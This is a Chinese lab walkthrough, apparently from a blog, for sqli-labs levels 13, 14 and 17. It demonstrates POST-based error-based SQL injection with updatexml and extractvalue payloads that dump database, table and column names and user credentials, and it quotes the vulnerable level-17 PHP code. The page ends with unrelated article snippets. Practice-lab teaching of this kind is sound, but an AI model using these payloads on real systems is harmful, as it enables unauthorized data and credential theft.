【sql靶场】第13、14、17关-post提交报错注入保姆级教程
目录
【sql靶场】第13、14、17关-post提交报错注入保姆级教程
1.知识回顾
1.报错注入深解
2.报错注入格式
3.使用的函数
4.URL
5.核心组成部分
6.数据编码规范
7.请求方法
2.第十三关
1.测试闭合
2.列数测试
3.测试回显
4.爆出数据库名
5.爆出表名
6.爆出字段
7.爆出账号密码
3.第十二关
4.第十七关
1.思路
2.分析
3.操作
【sql靶场】第13、14、17关-post提交报错注入保姆级教程
关卡讲解前回顾小知识,不看可以跳过,如果还不太会报错注入建议看sql靶场5-6关(报错注入)保姆级教程-CSDN博客
1.知识回顾
1.报错注入深解
有则利用报错显示进行注入,让报错里面携带所需的查询信息
可以通过列数不同进行判断是否有报错,但是报错注入一般是让报错函数通过构造非法XPath表达式强制触发数据库解析错误,其核心原理与字段数无关,原因是字段数不匹配错误发生在 结果集构造阶段(如 UNION 前后字段数不一致)报错注入的异常发生在 条件解析阶段(如XPath解析失败),早于结果集生成,无论主查询返回3个字段还是其他数量,条件逻辑仅影响数据过滤,不涉及字段数对比
2.报错注入格式
一般是通过updatexml与 extractvalue进行构造非法XPath表达式
?id=1' and updatexml(1,concat(0x7e,(子查询语句),0x7e),1)--+
?id=1' and extractvalue(1,concat(0x7e,(子查询语句),0x7e))--+
3.使用的函数
concat:将同一行中多个字段的值拼接为单个字符串,适用于单行多列数据的合并
group_concat:某一列的数据聚合,适用于单列多行数据的合并
两个可以组合使用----每次先将行中的两个字段进行拼接成字符串再进行列的每行数据聚合
GROUP_CONCAT(CONCAT(col1, col2))
区别:
concat适用于需要精准提取特定行数据的场景(如管理员账号)。需多次请求,效率较低
group_concat单次请求获取数据,但需手动拼接分片结果。适用于快速批量泄露(如全表用户密码)
问题:
在利用 updatexml 进行报错注入时,可能会因为查询结果因长度限制显示不全,可通过以下两种方法解决:mid()或 substr()分片截取数据,规避 updatexml() 的32字符长度限制
使用的语法:
limit 0,1:从第0行开始,获取1条数据。逐次修改起始位置(如 limit 1,1、limit 2,1)遍历所有记录
substr(string, start, length):从字符串第1位开始截取31个字符(因报错信息最大长度约32字符),
逐次修改 start 参数(如 32、63)循环获取后续内容。
mid(string, start, length):从字符串第1位开始截取31个字符(因报错信息最大长度约32字符),
逐次修改 start 参数(如 32、63)循环获取后续内容。
区别:
substr(string, start, length) 和mid(string, start, length) 均用于截取字符串的指定部分,两者语法和功能完全一致,但是一般使用 mid(),功能相同但兼容性更佳,可无缝替代 substr避免潜在语法冲突。
| 特性 | concat + limit | group_concat + substr/mid |
|---|---|---|
| 数据范围 | 单行数据 | 多行聚合数据 |
| 输出格式 | 单条记录(如 user~pass) | 多条记录合并(如 user1~pass1,user2~pass2) |
| 注入效率 | 需多次请求遍历数据 | 单次请求获取多行数据 |
| 长度限制处理 | 直接适配单行输出长度 | 需通过 substr 分段截取避免超长截断 |
4.URL
URL(Uniform Resource Locator)是互联网上唯一标识资源位置的字符串,包含协议、主机地址、路径等核心部分,用于定位和访问网络资源12。其标准格式为: 协议://主机地址[:端口号]/路径?查询参数#锚点 https://www.example.com:8080/api/users?id=123#section1
5.核心组成部分
协议(Scheme),定义资源访问的通信协议,例如:
http:超文本传输协议(明文传输) https:加密的HTTP协议(安全性更高) ftp:文件传输协议
主机地址(Host)
域名:如 www.example.com IP地址:如 202.108.22.5
端口号:可选,默认HTTP为80,HTTPS为443,自定义端口需显式指定(如:8080)
路径(Path): 表示服务器上的资源路径,如 /api/users 或 /img/logo.png12。
查询参数(Query Parameters):以 ? 开头,key=value 形式通过 & 分隔,用于向服务器传递附加参数,如 ?name=John&age=30。
锚点(Fragment)以 # 开头,用于页面内导航(如 #section1),仅客户端使用,不发送至服务器。
6.数据编码规范
URL中非ASCII字符(如中文、空格)需进行URL编码
规则如下:将字符转换为十六进制值,前缀加 %(如空格 → %20,/ → %2F),编码方式由浏览器或编程语言决定,可通过 encodeURIComponent() 等函数统一处理。
示例*: https://example.com/search?q=%E4%B8%AD%E6%96%87(搜索“中文”)
7.请求方法
GET请求
数据通过URL参数传递,明文暴露于地址栏,适用于非敏感数据(如搜索关键词)。
受URL长度限制(通常≤2048字符)。
POST请求
数据通过请求体传输,URL中仅包含资源路径(如 https://example.com/login)。
适合提交敏感信息(如密码)或大量数据(如文件上传)
提交方式从get变成了post,使得数据不会通过URL参数传递,明文暴露于地址栏,所以使用post提交POST请求的数据存储在请求体(Body)中,而非URL参数,URL中仅包含资源路径,这里就不需要再地址栏进行测试,但是我们可以在页面的账号密码输入里尝试,可不可以进行注入
2.第十三关
方法一
在页面的输入框直接进行注入,建议使用的注释符#
方法二
使用BurpSuite,点击代理然后点击截断的截断请求,然后打开火狐浏览器,打开关卡页面,随便输入账号密码,点击提交

在这里的注入注释符#与--+都可以
打开重发器,复制到,发送,输入目标IP与端口,响应

个人建议使用BurpSuite,因为可以清楚看见自己的注入,如果出现错误比较好检查,也比较好修改,而在页面的输入框直接注入,第一由于输入框的大小限制,很影响注入语句的输入与观看,第二输入提交后注入语句会变成空,如果报错很难检查与修改错误
如果没有BurpSuite,可以观看Burp Suite Professional的下载安装与使用-CSDN博客
1.测试闭合
单引号闭合
1'

单引号闭合测试
1'#

单引号括号闭合测试
1')#

闭合方式是单引号加括号
2.列数测试
1') order by 3#
1') order by 2#

列数为2

3.测试回显
看有没有回显

没有回显,但是有报错,那么我们可以尝试报错注入
4.爆出数据库名
and extractvalue(1,concat(0x7e,(select database()),0x7e))--+
and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

5.爆出表名
and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)--+
报错原因:查询表名,但是表名有多个(多行),这里无法全部展示出来,可以使用group_concat与mid,group_concat进行聚合,因为这里注入出来的表名没有超过32个字符,所以可以不使用mid进行截取
and updatexml(1,concat(0x7e,mid((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1)--+

另外一种方法,使用limit,一行一行查询
and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)--+

6.爆出字段
and updatexml(1,concat(0x7e,mid((select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'),1,30),0x7e),1)--+

7.爆出账号密码
and updatexml(1,concat(0x7e,(select substr((group_concat(username,0x3a,password)),1,32) from users),0x7e),1) --+and updatexml(1,concat(0x7e,(select mid((group_concat(username,0x3a,password)),1,32) from users),0x7e),1) --+and updatexml(1,(select concat(username,0x7e,password) from users limit 0,1),1) --+

3.第十二关
闭合测试
单引号闭合

双引号闭合

双引号闭合测试

闭合方式是1" ,剩下的与第十三关没有什么不同了
4.第十七关
1.思路
首先我们查看17关界面,发现这一关有点不一样,这里是输入正确的账号修改密码,先不看源代码进行尝试,能不能在账号输入框里面进行注入,尝试单引号与双引号闭合,会看到页面始终错误,再尝试or,如1' or '1'='1'#,是否可以存在页面不同,有没有盲注,发现一样不行,接下来尝试密码输入框进行尝试,发现一样,那可能是需要账号与密码同时有值,但是这个是修改密码的页面,说明必须要有正确的用户名才能进行修改密码,那么我们使用正确的用户名,能不能在账号的输入框进行注入呢,尝试可以发现注入不了,既然如此,就输入正确的账号,然后在修改密码的输入框里面进行注入,尝试单引号,发现报错了,既然报错了就有报错注入,接下来只需要输入正确的账号,然后在密码框里面进行注入就好了
2.分析
查看源代码
function check_input($value){if(!empty($value)){$value = substr($value,0,15);}if (get_magic_quotes_gpc()){$value = stripslashes($value);}if (!ctype_digit($value)){$value = "'" . mysql_real_escape_string($value) . "'";} else{$value = intval($value);}return $value;}if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname=check_input($_POST['uname']); $passwd=$_POST['passwd'];$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname."\n");
fwrite($fp,'New Password:'.$passwd."\n");
fclose($fp);@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";$result=mysql_query($sql);
$row = mysql_fetch_array($result);if($row){$row1 = $row['username']; $update="UPDATE users SET password = '$passwd' WHERE username='$row1'";mysql_query($update);echo "<br>";if (mysql_error()){echo '<font color= "#FFFF00" font size = 3 >';print_r(mysql_error());echo "</br></br>";echo "</font>";}else{echo '<font color= "#FFFF00" font size = 3 >'; echo "<br>";echo "</font>";}echo '<img src="../images/flag1.jpg" />'; echo "</font>";}else {echo '<font size="4.5" color="#FFFF00">';echo "</br>";echo '<img src="../images/slap1.jpg" />';echo "</font>"; }
}
可以看到里面几段代码对注入有了限制
第一段
里面有一个限制字符长度为15的限制
function check_input($value){if(!empty($value)){$value = substr($value,0,15);}if (get_magic_quotes_gpc()){$value = stripslashes($value);}if (!ctype_digit($value)){$value = "'" . mysql_real_escape_string($value) . "'";} else{$value = intval($value);}return $value;}
往后可以看到这个限制用在了账号,但是没有用在密码
$uname=check_input($_POST['uname']); $passwd=$_POST['passwd'];
第二段
里面有一个限制,必须要账号密码同时有
$row1 = $row['username']; $update="UPDATE users SET password = '$passwd' WHERE username='$row1'";mysql_query($update);
既然账号密码同时要,那快递要能够查询到账号才会执行修改密码语句,才能够注入
3.操作
既然找到注入点了,剩下的与前面两关的报错注入的操作基本一样
相关文章:
【sql靶场】第13、14、17关-post提交报错注入保姆级教程
目录 【sql靶场】第13、14、17关-post提交报错注入保姆级教程 1.知识回顾 1.报错注入深解 2.报错注入格式 3.使用的函数 4.URL 5.核心组成部分 6.数据编码规范 7.请求方法 2.第十三关 1.测试闭合 2.列数测试 3.测试回显 4.爆出数据库名 5.爆出表名 6.爆出字段 …...
93.HarmonyOS NEXT窗口管理基础教程:深入理解WindowSizeManager
温馨提示:本篇博客的详细代码已发布到 git : https://gitcode.com/nutpi/HarmonyosNext 可以下载运行哦! HarmonyOS NEXT窗口管理基础教程:深入理解WindowSizeManager 文章目录 HarmonyOS NEXT窗口管理基础教程:深入理解WindowSiz…...
Python----数据分析(Pandas一:pandas库介绍,pandas操作文件读取和保存)
一、Pandas库 1.1、概念 Pandas是一个开源的、用于数据处理和分析的Python库,特别适合处理表格类数 据。它建立在NumPy数组之上,提供了高效的数据结构和数据分析工具,使得数据操作变得更加简单、便捷和高效。 Pandas 的目标是成为 Python 数据…...
基于WebRTC技术的EasyRTC嵌入式音视频SDK:多平台兼容与性能优化
在当今数字化、智能化的时代背景下,实时音视频通信技术已成为众多领域不可或缺的关键技术。基于WebRTC技术的EasyRTC嵌入式音视频SDK,凭借其在ARM、Linux、Windows、安卓、iOS等多平台上的兼容性,为开发者提供了强大的工具,推动了…...
【快速入门】MyBatis
一.基础操作 1.准备工作 1)引入依赖 一个是mysql驱动包,一个是mybatis的依赖包: <dependency><groupId>org.mybatis.spring.boot</groupId><artifactId>mybatis-spring-boot-starter</artifactId><vers…...
提升 React 应用性能:使用 React Profiler 进行性能调优
前言 在现代前端开发中,性能优化是一个不可忽视的重要环节。在 React 生态系统中,React Profiler 是一个强大的工具,它可以帮助我们检测和优化应用的性能。 本文将通过通俗易懂的语言介绍 React Profiler 的作用,并展示如何使用它…...
八、Prometheus 静态配置(Static Configuration)
所有的配置都可以用静态配置来监控,只不过用servicemonitor简单,但是域名需要静态配置 如果使用 Prometheus 静态配置(Static Configuration),确实不需要 ServiceMonitor、Service 和 Endpoints,但这也意味着失去了 Kubernetes 自动发现(Service Discovery, SD) 的能力…...
重生之我在学Vue--第16天 Vue 3 插件开发
重生之我在学Vue–第16天 Vue 3 插件开发 文章目录 重生之我在学Vue--第16天 Vue 3 插件开发前言一、插件的作用与开发思路1.1 插件能做什么?1.2 插件开发四部曲 二、开发全局通知插件2.1 插件基础结构2.2 完整插件代码(带注释解析)2.3 样式文…...
网络VLAN技术详解:原理、类型与实战配置
网络VLAN技术详解:原理、类型与实战配置 1. 什么是VLAN? VLAN(Virtual Local Area Network,虚拟局域网) 是一种通过逻辑划分而非物理连接隔离网络设备的技术。它允许管理员将同一物理网络中的设备划分为多个独立的广播…...
使用自动导入后,eslint报错 eslint9
前提:使用pnpm create vuelatest创建vue应用,并且在创建项目时就勾选eslint和prettier,不然有些配置还需要手动配,比如解决eslint和prettier的冲突问题 1. 解决使用自动导入后Eslint报错问题 配置vite.config.ts // 自动导入api…...
高德爬取瓦片和vue2使用
1、渲染瓦片地址 <template><div class"command-center"><div id"mapContainer" ref"map" class"mapContainer"/></div> </template><script> import Vue from vue import L from leaflet expor…...
交互式可视化进阶(Plotly Dash构建疫情仪表盘)
这里写目录标题 交互式可视化进阶(Plotly Dash构建疫情仪表盘)1. 引言2. 项目背景与意义3. 数据集生成与介绍4. GPU加速在数据处理中的应用5. 交互式仪表盘构建与Plotly Dash6. PyQt GUI集成与美化7. 工程整体架构8. 部分代码实现9. 代码自查与BUG排查10. 总结与展望交互式可…...
如何选择适合您智能家居解决方案的通信协议?
如何选择适合您智能家居解决方案的通信协议? 在开发智能家居产品时,选择合适的通信协议对于设备的高效运行及其在智能家居系统中的互操作性至关重要。市面上协议众多,了解它们的特性并在做决定前考虑各种因素是非常必要的。以下是一些帮助您…...
如何实现Spring Boot与Oracle数据库的完美对接?
想要在Spring Boot项目中使用Oracle数据库?这可不是一件难事!接下来,我将带你一步步走过这个过程,从环境准备到配置,再到实际操作,确保你能够轻松对接Oracle数据库。 环境准备 首先,确保你已经…...
RabbitMQ可靠性进制
文章目录 1.生产者可靠性生产者重连生产者确认小结 2. MQ的可靠性数据持久化LazyQueue小结 3. 消费者的可靠性消费者确认机制消费者失败处理方案业务幂等性唯一消息ID业务判断 兜底方案业务判断 兜底方案 1.生产者可靠性 生产者重连 在某些场景下由于网络波动,可能…...
版本控制器Git(5)
文章目录 前言一、理解标签二、创建标签三、操作标签四、多人协作场景一五、多人协作场景二总结 前言 本篇是最后一篇,主要介绍标签管理有关的内容 一、理解标签 标签定义:在Git中,标签(tag)是对某次提交(c…...
Unity引擎架构介绍及代码示例
Unity是一款跨平台的游戏开发引擎,其强大的功能和灵活的架构使得它成为众多游戏开发者的首选。本文将详细介绍Unity引擎的架构,并通过代码示例展示其在实际开发中的应用。 一、Unity引擎架构概述 Unity引擎的架构可以分为以下几个主要部分: 1…...
【数据分析】读取文件
3. 读取指定列 针对只需要读取数据中的某一列或多列的情况,pd.read_csv()函数提供了一个参数:usecols,将包含对应的columns的列表传入该参数即可。 上面,我们学习了读取 "payment" 和 "items_count" 这…...
Dify使用部署与应用实践
最近在研究AI Agent,发现大家都在用Dify,但Dify部署起来总是面临各种问题,而且我在部署和应用测试过程中也都遇到了,因此记录如下,供大家参考。Dify总体来说比较灵活,扩展性比较强,适合基于它做…...
Java 大视界 -- 基于 Java 的大数据机器学习模型的迁移学习应用与实践(129)
💖亲爱的朋友们,热烈欢迎来到 青云交的博客!能与诸位在此相逢,我倍感荣幸。在这飞速更迭的时代,我们都渴望一方心灵净土,而 我的博客 正是这样温暖的所在。这里为你呈上趣味与实用兼具的知识,也…...
1.Windows+vscode+cline+MCP配置
文章目录 1.简介与资源2.在windows中安装vscode及Cline插件1. 安装vscode2. 安装Cline插件3. 配置大语言模型3. 配置MCP步骤(windows) 1.简介与资源 MCP官方开源仓库 MCP合集网站 参考视频 2.在windows中安装vscode及Cline插件 1. 安装vscode 2. 安装Cline插件 Cline插件…...
C#的字符串之String类与StringBuilder类区别于适用场景
一、分清楚值类型与引用类型 正确理解值类型与引用类型,可以更好的帮助软件开发人员写出性能更好且正确稳定运行的程序: C#值类型与引用类型区别 区别值类型引用类型定义所有继承自【System.ValueType】类型的都是值类型(valueType继承自Sys…...
关于WPS的Excel点击单元格打开别的文档的两种方法的探究【为单元格添加超链接】
问题需求 目录和文件结构如下: E:\Dir_Level1 │ Level1.txt │ └─Dir_Level2│ Level2.txt│ master.xlsx│└─Dir_Level3Level3.txt现在要在master.xlsx点击单元格进而访问Level1.txt、Level2.txt、Level3.txt这些文件。 方法一:“单元格右键…...
conda的基本使用及pycharm里设置conda环境
创建conda环境 conda create --name your_env_name python3.8 把your_env_name换成实际的conda环境名称,python后边的根据自己的需要,选择python的版本。 激活conda环境 conda activate your_env_name 安装相关的包、库 conda install package_name …...
计算机网络-网络规划与设计
基本流程 需求分析—》通信规范分析—》逻辑网络设计—》物理网络设计—》实施阶段 需求分析: 确定需求,包括:业务需求、用户需求、应用需求、计算机平台需求、网络通信需求等。 产物:需求规范 通信规范分析: 现有…...
【QA】建造者模式在Qt有哪些应用
#设计模式 #Qt 一、QDomDocument(XML 文档构建) 模式角色: Builder:QDomDocument 本身Product:XML 文档对象Director:用户代码通过 QDomDocument 逐步构建文档结构 示例代码: QDomDocument…...
六种最新优化算法(TOC、MSO、AE、DOA、GOA、OX)求解多个无人机协同路径规划(可以自定义无人机数量及起始点),MATLAB代码
一、算法简介 (一)阿尔法进化(Alpha Evolution,AE)算法 阿尔法进化(Alpha Evolution,AE)算法是2024年提出的一种新型进化算法,其核心在于通过自适应基向量和随机步长的…...
练习-依依的询问最小值(前缀和差分)
问题描述 依依有个长度为 n 的序列 a,下标从 1 开始。 她有 m 次查询操作,每次她会查询下标区间在[li,ri] 的 a 中元素和。她想知道你可以重新排序序列 a,使得这 m 次查询的总和最小。 求你求出 m 次查询总和的最小值。 输入格式 第…...
ctfshow web刷题记录
RCE 第一题 eval代码执行 : 1、使用system 加通配符过滤 ?csystem("tac%20fl*") ; 2、反字节执行 xxx %20 echo 反字节 3、变量转移 重新定义一个变量 让他代替我们执行 4、伪协议玩法 ?cinclude$_GET[1]?>&1php://filter/readc…...
MySQL单表查询大全【SELECT】
山再高,往上攀,总能登顶;路再长,走下去,定能到达。 Mysql中Select 的用法 ------前言------【SELECT】0.【准备工作】0.1 创建一个库0.2 库中创建表0.3 表中加入一些数据 1.【查询全部】2.【查询指定列】2.1查询指定列…...
